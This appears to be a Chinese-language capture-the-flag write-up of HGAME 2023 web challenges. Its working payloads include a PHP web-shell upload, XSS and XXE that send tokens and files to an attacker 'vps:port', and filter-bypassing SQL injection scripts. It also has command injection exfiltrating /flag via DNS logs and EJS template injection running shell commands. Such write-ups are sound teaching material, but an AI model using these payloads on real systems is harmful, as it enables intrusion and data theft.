Week 1 Classic Childhood Game 翻 js 代码有一段数据
1 2 3 var a = [ "\x59\x55\x64\x6b\x61\x47\x4a\x58\x56\x6a\x64\x61\x62\x46\x5a\x31\x59\x6d\x35\x73\x53\x31\x6c\x59\x57\x6d\x68\x6a\x4d\x6b\x35\x35\x59\x56\x68\x43\x4d\x45\x70\x72\x57\x6a\x46\x69\x62\x54\x55\x31\x56\x46\x52\x43\x4d\x46\x6c\x56\x59\x7a\x42\x69\x56\x31\x59\x35" , ];
二次 base64 解码后是 flag
Become A Member 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 GET / HTTP/1.1 Host: week-1.hgame.lwsec.cn:32174 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Cute-Bunny referer:bunnybunnybunny.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 X-Forwarded-For:127.0.0.1 Cookie: code=Vidar;Domain=localhost; guest=Cute-Bunny Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/json Content-Length: 47 {"username":"luckytoday","password":"happy123"}
Guess Who I Am 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import jsonimport requestsjson_data = '[......]' data = json.loads(json_data) s = requests.Session() url = "http://week-1.hgame.lwsec.cn:31292" for i in range (100 ): r = s.get(url+"/api/getQuestion" ).json() print (r['message' ]) for j in range (100 ): if (data[j]['intro' ] == r['message' ]): print (data[j]) r = s.post(url+"/api/verifyAnswer" ,data={"id" :data[j]['id' ]}).text print (r) break r = s.get(url+"/api/getScore" ).text print (r)
Show Me Your Beauty 传 .pHP 后缀文件,可以正常解析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 POST /upload.php HTTP/1.1 Host: week-1.hgame.lwsec.cn:30132 Content-Length: 229 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryc0uFodxkYi3qQZ9m Origin: http://week-1.hgame.lwsec.cn:30132 Referer: http://week-1.hgame.lwsec.cn:30132/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: session=MTY3Mjk3MjczNHxEdi1CQkFFQ180SUFBUkFCRUFBQU9fLUNBQUlHYzNSeWFXNW5EQTBBQzJOb1lXeHNaVzVuWlVsa0EybHVkQVFDQUh3R2MzUnlhVzVuREFnQUJuTnZiSFpsWkFOcGJuUUVBZ0FJfAHPerVxvZqIjEkV1SwR3zoY9rLTGfUtAM9-LiKqF-Mw; PHPSESSID=8mu2c82dr6pvb9orl2646f8e0r Connection: close ------WebKitFormBoundaryc0uFodxkYi3qQZ9m Content-Disposition: form-data; name="file"; filename="l3n.pHP" Content-Type: image/png GIF89a <?php echo "hacked";system($_GET['l1n']); ------WebKitFormBoundaryc0uFodxkYi3qQZ9m--
Week 2 git leak 1 2 3 4 python3 GitHack.py http://week-2.hgame.lwsec.cn:32020/.git/ cd week-2.hgame.lwsec.cn_32020 cat Th1s_1s-flag hgame{Don't^put*Git-in_web_directory}
V2board 1 2 3 4 python3 poc.py -u http://week-2.hgame.lwsec.cn:32628/ cd dump/week-2.hgame.lwsec.cn:32628 cat user.json flag: hgame{39d580e71705f6abac9a414def74c466}
Search Commodity 提示给够了,登录框不需要注入,是一个弱密码 user01/admin123
对 id 参数进行注入,发现使用 database() 会报错,需要判断一下数据库类型
能用的
user()
length()
version()
@@version
@@secure_file_priv 不能用的
len()
应该是 mysql,为什么 database()用不了呢,尝试双写 database,发现可以绕过了
继续测试,发现 2-1
可以使用,但是 order by 1 用不了
继续测试,认为过滤了空格,测试 /**/
,发现还是不行,那测试一下是否过滤了 /**/
这个字符串,5-length("/**/")
,发现计算结果是 5,说明 /**/
也被过滤了。继续双写绕过
search_id=-1/*/**/*/ununionion/*/**/*/selselectect/*/**/*/1,datadatabasebase(),3#
search_id=-1/*/**/*/ununionion/*/**/*/selselectect/*/**/*/1,(selselectect/*/**/*/group_concat(table_name)/*/**/*/frfromom/*/**/*/infoorrmation_schema.tables/*/**/*/whwhereere/*/**/*/table_schema/*/**/*/like/*/**/*/datadatabasebase()),1#
5ecret15here,L1st,user1nf0
search_id=-1/*/**/*/ununionion/*/**/*/selselectect/*/**/*/1,(selselectect/*/**/*/group_concat(column_name)/*/**/*/frfromom/*/**/*/infoorrmation_schema.columns/*/**/*/whwhereere/*/**/*/table_schema/*/**/*/like/*/**/*/datadatabasebase()/*/**/*/aandnd/*/**/*/table_name/*/**/*/like/*/**/*/"5ecret15here"),1#
search_id=-1/*/**/*/ununionion/*/**/*/selselectect/*/**/*/1,(selselectect/*/**/*/f14gggg1shere/*/**/*/frfromom/*/**/*/5ecret15here),1#
hgame{4_M4n_WH0_Kn0ws_We4k-P4ssW0rd_And_SQL!}
Designer 看到获取 flag 的逻辑,需要本地 POST 访问/user/register,才能拿到包含有 flag 的 token
之后拿这个 token 到 /user/info 去解密,拿到 flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 app.post("/user/register", (req, res) => { const username = req.body.username; let flag = "hgame{fake_flag_here}"; if ( (username == "admin" && req.ip == "127.0.0.1") || req.ip == "::ffff:127.0.0.1" ) { flag = "hgame{true_flag_here}"; } const token = jwt.sign({ username, flag }, secret); res.json({ token }); }); app.get("/user/info", auth, (req, res) => { res.json({ username: req.user.username, flag: req.user.flag }); });
有一个打 XSS 的点在 /button/preview,我们很容易看到对于传入的 req.query 过滤并不专业
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 const blacklist = [ /on/i, /localStorage/i, /alert/, /fetch/, /XMLHttpRequest/, /window/, /location/, /document/, ]; for (const key in req.query) { for (const item of blacklist) { if (item.test(key.trim()) || item.test(req.query[key].trim())) { req.query[key] = ""; } } }
使用一下 query 即可绕过
1 2 3 { "l1n" : "tel;\"></a><script>eval(atob(\"${base64payload}\"))</script><a>" }
xss 点有了,尝试直接从 window.localStorage.getItem("token")
获取 bot 的 token,发现返回的是 null
1 2 3 4 5 document .write ( `<img src="http://vps:port/?flag=${btoa( window .localStorage .getItem("token" ) )} " />`);
那么,我尝试了这样的打法,xss 让 bot 去/user/register 注册一个 admin 账号,把 token 通过 img 标签发送回来
1 2 3 4 5 6 7 8 9 10 11 fetch ("/user/register" , { method : "POST" , headers : { "Content-Type" : "application/x-www-form-urlencoded" , }, body : "username=admin" , }) .then ((res ) => res.text ()) .then ((res ) => { document .write (`<img src="http://vps:port/?flag=${btoa(res)} " />` ); });
拿到 flag
Week 3 Gopher Shop 购买逻辑判断得不是很严格,uint 大概可以整数溢出
1 2 3 4 5 6 7 8 9 10 11 12 if err != nil || number < 1 || user.Balance < uint (number) * price{ context.JSON(400 , gin.H{"error" : "invalid request" }) return } user.Days -= 1 user.Inventory -= uint (number) user.Balance -= uint (number) * price err = db.UpdateUserInfo(user)
购买 1844674407370955162 个 Apple,花费 1844674407370955162*10 : user.Balance > uint(18446744073709551620)
1 /api/v1/user/buyProduct?product=Apple&number=1844674407370955162
获得 n 多个 Apple,sell 掉 1000000000000000000 个,获得 10000000000000000000 Vidar Coin,然后就可以买 flag 啦
Ping To The Host 输入 ip,然后后台 ping ip
可以 dnslog 外带数据
1 2 ip=$(ec''ho%09/f*).xxxxx.ceye.io ip=$(ca''t%09/fl''ag_is_here_haha).xxxxx.ceye.io
Login To Get My Gift 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import requestsurl = "http://week-3.hgame.lwsec.cn:32604/" database = "L0g1NMe" table_name = "User1nf0mAt1on" column_name = "id,PAssw0rD,UsErN4me" UsErN4me = "hgAmE2023HAppYnEwyEAr,testuser" PAssw0rD = "WeLc0meT0hgAmE2023hAPPySql,testpasswrod" for i in range (0 ,100 ): for j in range (32 ,127 ): data={ "username" :"testuser" , "password" :"tes'or\tascii(right(left(((select\tgroup_concat(PAssw0rD)\tfrom\tUser1nf0mAt1on)),%s),1))-%s#" %(i,j) } r = requests.post(url+"login" ,data=data) if "Failed" in r.text: PAssw0rD += chr (j) print (PAssw0rD) break else : continue print (database)print (table_name)print (column_name)print (UsErN4me)print (PAssw0rD)
Week 4 Tell Me XXE 盲注
参考文章: https://m3lon.github.io/2019/01/20/xxe 实验踩坑记录/
而且题目会直接报错,把 flag 整出来
1 2 3 4 5 6 7 8 <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE roottag [ <!ENTITY % dtd SYSTEM "http://vps:port/evil.dtd" > %dtd;%int;%send; ]> evil.dtd <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/flag.php" > <!ENTITY % int "<!ENTITY % send SYSTEM 'http://vps:port/?p=%file;'>" >
1 2 3 <?php $flag1 = "hgame{Be_Aware_0f_XXeBl1nd1njecti0n}" ; ?>
Shared Diary 原型链污染
1 2 3 4 5 6 7 8 9 { "username" : "tel" , "password" : "tel" , "constructor" : { "prototype" : { "role" : "admin" } } }
ejs 模板完全可控 SSTI,查到了 https://miaotony.xyz/2021/03/04/CTF_2021HgameWeek4/#toc-heading-3
可以使用
1 2 3 diary=<%- global.process.mainModule.require('child_process').execSync('cat /flag') %> hgame{N0tice_prototype_pollution&&EJS_server_template_injection}